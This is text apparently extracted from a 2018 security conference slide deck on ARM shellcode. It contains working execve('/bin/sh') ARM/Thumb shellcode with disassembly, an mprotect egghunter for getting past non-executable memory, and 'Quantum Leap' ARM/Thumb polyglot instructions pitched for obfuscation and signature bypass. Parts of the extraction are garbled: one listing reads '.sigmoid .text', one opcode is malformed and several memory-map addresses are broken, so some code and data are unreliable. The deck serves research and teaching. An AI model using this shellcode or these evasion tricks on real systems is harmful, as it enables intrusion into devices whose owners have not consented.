Make ARM Shellcode Great Again

ARM code

Switch to Thumb mode

Thumb shellcode

ARM code may not be ARM or Thumb.

Thumb

Same code will not crash when interpreted as Thumb instructions.

Thumb shellcode

Saumil Shah
@therealsaumil

#HITB2018PEK

(c) SAUMIL SHAH
# who am i

CEO Net-square.

• Hacker, Speaker, Trainer, Author.
• M.S. Computer Science Purdue University.
• LinkedIn: saumilshah
• Twitter: @therealsaumil
Agenda

• A background on ARM shellcode
• My research around ARM shellcode
  – cache coherency (solved before)
  – space limitations - ARM mprotect Egghunter
  – polyglot tricks - ARM Quantum Leap shellcode
• Demos
Example: ARM execve() Shellcode

```assembly
.section .text
.global _start
_start:
  .code 32
  add     r1, pc, #1
  bx      r1
  .code 16
  adr     r0, SHELL
  eor     r1, r1, r1
  eor     r2, r2, r2
  strb    r2, [r0, #7]
  mov     r7, #11
  svc     #1
  .balign 4
SHELL:
  .ascii "/bin/shx"

ARM CODE
00: e28f1001 add  r1, pc, #1
04: e12fff11 bx   r1

THUMB CODE
08: a002  add  r0, pc, #8
0a: 4049  eors r1, r1
0c: 4052  eors r2, r2
0e: 71c2  strb r2, [r0, #7]
10: 270b  movs r7, #11
12: df01  svc  1

LITERAL POOL
14: 6e69622f .word  0x6e69622f
18: 5868732f .word  0x5868732f
```

Switch to Thumb mode: branch pc + 1
Shellcode in tight spaces

• What if payload exceeds size "constraints"?
  – Overwrite local variables.
  – Bottom of the stack.

• Many solutions.
Egghunter

• Searches for an EGG (4+4 byte value) in the process memory.
• Uses syscalls to determine whether a memory page exists or not (safely).
• Upon finding it, Egghunter transfers the control to the code following the EGG.
• Nothing new here - done before.
# Egghunter

## Binary

- **heap**
  - HACK
  - HACK
  - shellcode

- **Lib**
  - HACK
  - shellcode

- **Lib**
  - HACK
  - shellcode

## Stack

- **overflow**
- **ROP**
- **egghunter**

### gef> vmmap

<table>
<thead>
<tr>
<th>Start</th>
<th>End</th>
<th>Perm</th>
<th>Path</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x00008000</td>
<td>0x00009000</td>
<td>rw-</td>
<td>/home/pi/eggbreak</td>
</tr>
<tr>
<td>0x00010000</td>
<td>0x00011000</td>
<td>rw-</td>
<td>/home/pi/eggbreak</td>
</tr>
<tr>
<td>0x00011000</td>
<td>0x00032000</td>
<td>rw-</td>
<td>[heap]</td>
</tr>
<tr>
<td>0xb6e9c000</td>
<td>0xb6fbe000</td>
<td>r-x</td>
<td>/lib/arm-linux-gnueabihf/libc-2.13.so</td>
</tr>
<tr>
<td>0xb6fbc5000</td>
<td>0xb6fc5000</td>
<td>---</td>
<td>/lib/arm-linux-gnueabihf/libc-2.13.so</td>
</tr>
<tr>
<td>0xb6fc7000</td>
<td>0xb6fc7000</td>
<td>r--</td>
<td>/lib/arm-linux-gnueabihf/libc-2.13.so</td>
</tr>
<tr>
<td>0xb6fc8000</td>
<td>0xb6fc8000</td>
<td>rw-</td>
<td>/lib/arm-linux-gnueabihf/libc-2.13.so</td>
</tr>
<tr>
<td>0xb6fd8000</td>
<td>0xb6ff5000</td>
<td>r-x</td>
<td>/lib/arm-linux-gnueabihf/ld-2.13.so</td>
</tr>
<tr>
<td>0xb6ff0000</td>
<td>0xb6ff0000</td>
<td>rw-</td>
<td>/lib/arm-linux-gnueabihf/ld-2.13.so</td>
</tr>
<tr>
<td>0xb6ff0000</td>
<td>0xb7000000</td>
<td>r-x</td>
<td>[sigpage]</td>
</tr>
<tr>
<td>0xbefdf000</td>
<td>0xbefdf000</td>
<td>rw-</td>
<td></td>
</tr>
<tr>
<td>0xbefdf000</td>
<td>0xbefdf000</td>
<td>rw-</td>
<td></td>
</tr>
</tbody>
</table>

**memory page not executable**

- **shellcode**

### Search for HACK+HACK

- one page at a time.

---

(c) SAUMIL SHAH

# HITB2018PEK
Egghunter - DEP

- If EGG+shellcode is in a different memory region, then it may not be executable
  - Overflow in the stack
  - Shellcode in the heap

- Enter the mprotect egghunter!
mprotect Egghunter

gef> vmmap
Start      End        Perm Path
0x00008000 0x00009000 rwx /home/pi/eggbreak
0x00010000 0x00011000 rwx /home/pi/eggbreak
0x00011000 0x00012000 rwx [heap]
0x00012000 0x00032000 rw  
0xb6e9c000 0xb6fbe000 r  x /lib/arm-linux-gnueabihf/libc-2.13.so
0xb6fc7000 0xb6fc8000 rw  
0xb6fd8000 0xb6ff5000 r-x /lib/arm-linux-gnueabihf/ld-2.13.so
0xbeffe000 0xbf000000 rwx [stack]
mprotect Egghunter

DEMO
Example: ARM execve() Shellcode

- Mostly begins with an ARM-to-Thumb mode switch.
- Rest of the shellcode implemented in Thumb mode.
- Compact, avoids bad characters, etc.

```assembly
.sigmoid .text
.global _start
_start:
    .code 32
    add r1, pc, #1
    bx  r1
    .code 16
    adr r0, SHELL
    eor r1, r1, r1
    eor r2, r2, r2
    strb r2, [r0, #7]
    mov r7, #11
    svc #1
    .balign 4
SHELL:
    .ascii "/bin/shx"
```

Switch to Thumb mode: branch pc + 1
Some Concerns / Arguments

• The "I can signature this" debate.
  – YARA Rules, IDS, Bro, blah blah...

• What if our target runs on a Thumb-only processor?
  – for example: Cortex-M

One Shellcode To Run Them All!
"Quantum Leap" Shellcode

Start in ARM mode

"LEAP"

TO

THUMB

THUMB shellcode (execve, reverse, ...)

Start in THUMB mode

QUANTUM LEAP

Same Same

But Different

PASS

THROUGH

PASS

THROUGH

PASS

THROUGH

THUMB shellcode (execve, reverse, ...)
"Quantum Leap" - what we need

• An understanding of ARM and Thumb instruction encoding:
  – ARM instruction: "DO SOMETHING"
  – 2 THUMB instructions: "PASS THROUGH"

• Conditional Execution in ARM instructions
  – very helpful!

• A little bit of luck and perseverance.

• Nomenclature Credit: "dialup" @44CON.
The ARM to Thumb switch

ORIGINAL ARM CODE

0: e28f1001  add  r1, pc, #1
4: e12ffff11  bx  r1
8: 270b  movs  r7, #11
a: beff  bkpt  0x00ff

"THUMB VIEW"

0: 1001  asrs r1, r0, #32
2: e28f  b.n 524
4: ff11 e12f  vrhadd.u16 d14,d1,d31

Avoid "destructive" instructions
- Branches, Load/Store, Floating Point, etc.

Should work on ARMv6 (no Thumb2)

Avoid Illegal instructions.
ARM and THUMB decoding - 1

4 BYTE ARM INSTRUCTION - add r1, pc, #1

e28f1001

- Controlled by ARM Opcode and conditional flags.
- Part influenced by Operand 1 (ARM).
- Trickier to control.

- Controlled by Destination and Operand 2 of the ARM instruction.
- Easier to control.

Thumb instruction 2

Thumb instruction 1
ARM and THUMB decoding - 1

1 ARM INSTRUCTION RESULTING INTO 2 THUMB INSTRUCTIONS:

```
e28f1001 1110 0010 1000 1111 0001 0000 0000 0001
```

```
e28f 1110 0010 1000 1111
```

Thumb Opcode 2
- influenced by ARM conditional bits

Thumb Opcode 1
- influenced by ARM destination operand

Branch instructions are destructive

Conditional Opcode
- status
- operand 2
- immediate
- operand 1
- destination
- opcode
- immediate
- operand 1
- status

Conditional bits influence Thumb Opcode 1

Conditional bits influence Thumb Opcode 2

Add: r1, pc, #1

Asrs: r1, r0, #32

Branch instructions are destructive.
(Un)conditional Instructions

• How can we turn an ARM instruction into a conditional instruction...
• ...with guaranteed execution everytime?
• COMPLIMENTARY CONDITIONS.

**UNCONDITIONAL INSTRUCTION**

e28f1001  add   r1, pc, #1

**COMPLIMENTARY CONDITIONS**

128f1005  addne  r1, pc, #5
028f1001  addeq  r1, pc, #1

• One of the instructions is guaranteed to execute, irrespective of condition flags.
ARM and THUMB decoding - 2

USING CONDITIONAL ARM INSTRUCTIONS:

128f1005: 0001 0010 1000 1111 0001 0000 0000 0101 addne r1, pc, #5

1005: 0001 0000 0000 0101 asrs r5, r0, #32 ✓
128f: 0001 0010 1000 1111 asrs r7, r1, #10 ✓

028f1001: 0000 0010 1000 1111 0001 0000 0000 0001 addeq r1, pc, #1

1001: 0001 0000 0000 0001 asrs r1, r0, #32 ✓
028f: 0000 0010 1000 1111 lsls r7, r1, #10 ✓

Complimentary Conditional ARM instructions

No destructive instructions in Thumb mode
Final "Quantum Leap" Code

QUANTUM LEAP: ARM TO THUMB

0: 228fa019 addcs sl, pc, #25
4: 328fa015 addcc sl, pc, #21
8: 21a0400d movcs r4, sp
c: 31a0400d movcc r4, sp
10: 292d0412 pushcs {r1, r4, sl}
14: 392d0412 pushcc {r1, r4, sl}
18: 28bda002 popcs {r1, sp, pc}
1c: 38bda002 popcc {r1, sp, pc}
20: beff bkpt 0x00ff
22: beff bkpt 0x00ff

QUANTUM LEAP: PASS THROUGH (THUMB)

0: a019 add r0, pc, #100
2: 228f movs r2, #143
4: a015 add r0, pc, #84
6: 328f adds r2, #143
8: 400d ands r5, r1
a: 21a0 movs r1, #160
c: 400d ands r5, r1
e: 31a0 adds r1, #160
10: 0412 lsls r2, r2, #16
12: 292d cmp r1, #45
14: 0412 lsls r2, r2, #16
16: 392d subs r1, #45
18: a002 add r0, pc, #8
1a: 28bd cmp r0, #189
1c: a002 add r0, pc, #8
1e: 38bd subs r0, #189
20: beff bkpt 0x00ff
22: beff bkpt 0x00ff

#HITB2018PEK
(c) SAUMIL SHAH
Assembling the Quantum Leap

• No Thumb2 instructions.
• No NULL bytes.
• Took many iterations to finalise!
• bx sl implemented by push {sl}, pop {pc}.
• Register list proved to be a challenge.
• Registers r4, sl altered in ARM.
• Registers r0, r1, r2, r5 altered in Thumb.
Problem statement:
After running the ARM Egghunter, it may happen that the egg may not land at a 4 byte aligned address.

The processor mode is not deterministic. It can be ARM or Thumb.

<table>
<thead>
<tr>
<th>ARM → ARM code switch to Thumb mode</th>
<th>Thumb → same code will not crash when interpreted as Thumb instructions</th>
</tr>
</thead>
<tbody>
<tr>
<td>Thumb shellcode</td>
<td>Thumb shellcode</td>
</tr>
</tbody>
</table>
Conclusion

• ARM/Thumb Polyglot instructions and conditional execution offer many opportunities for obfuscation and signature bypass.

• Lots of exploration opportunities in ARM shellcoding.

https://github.com/therealsaumil/arm_shellcode
exit(0)

Saumil Shah
@therealsaumil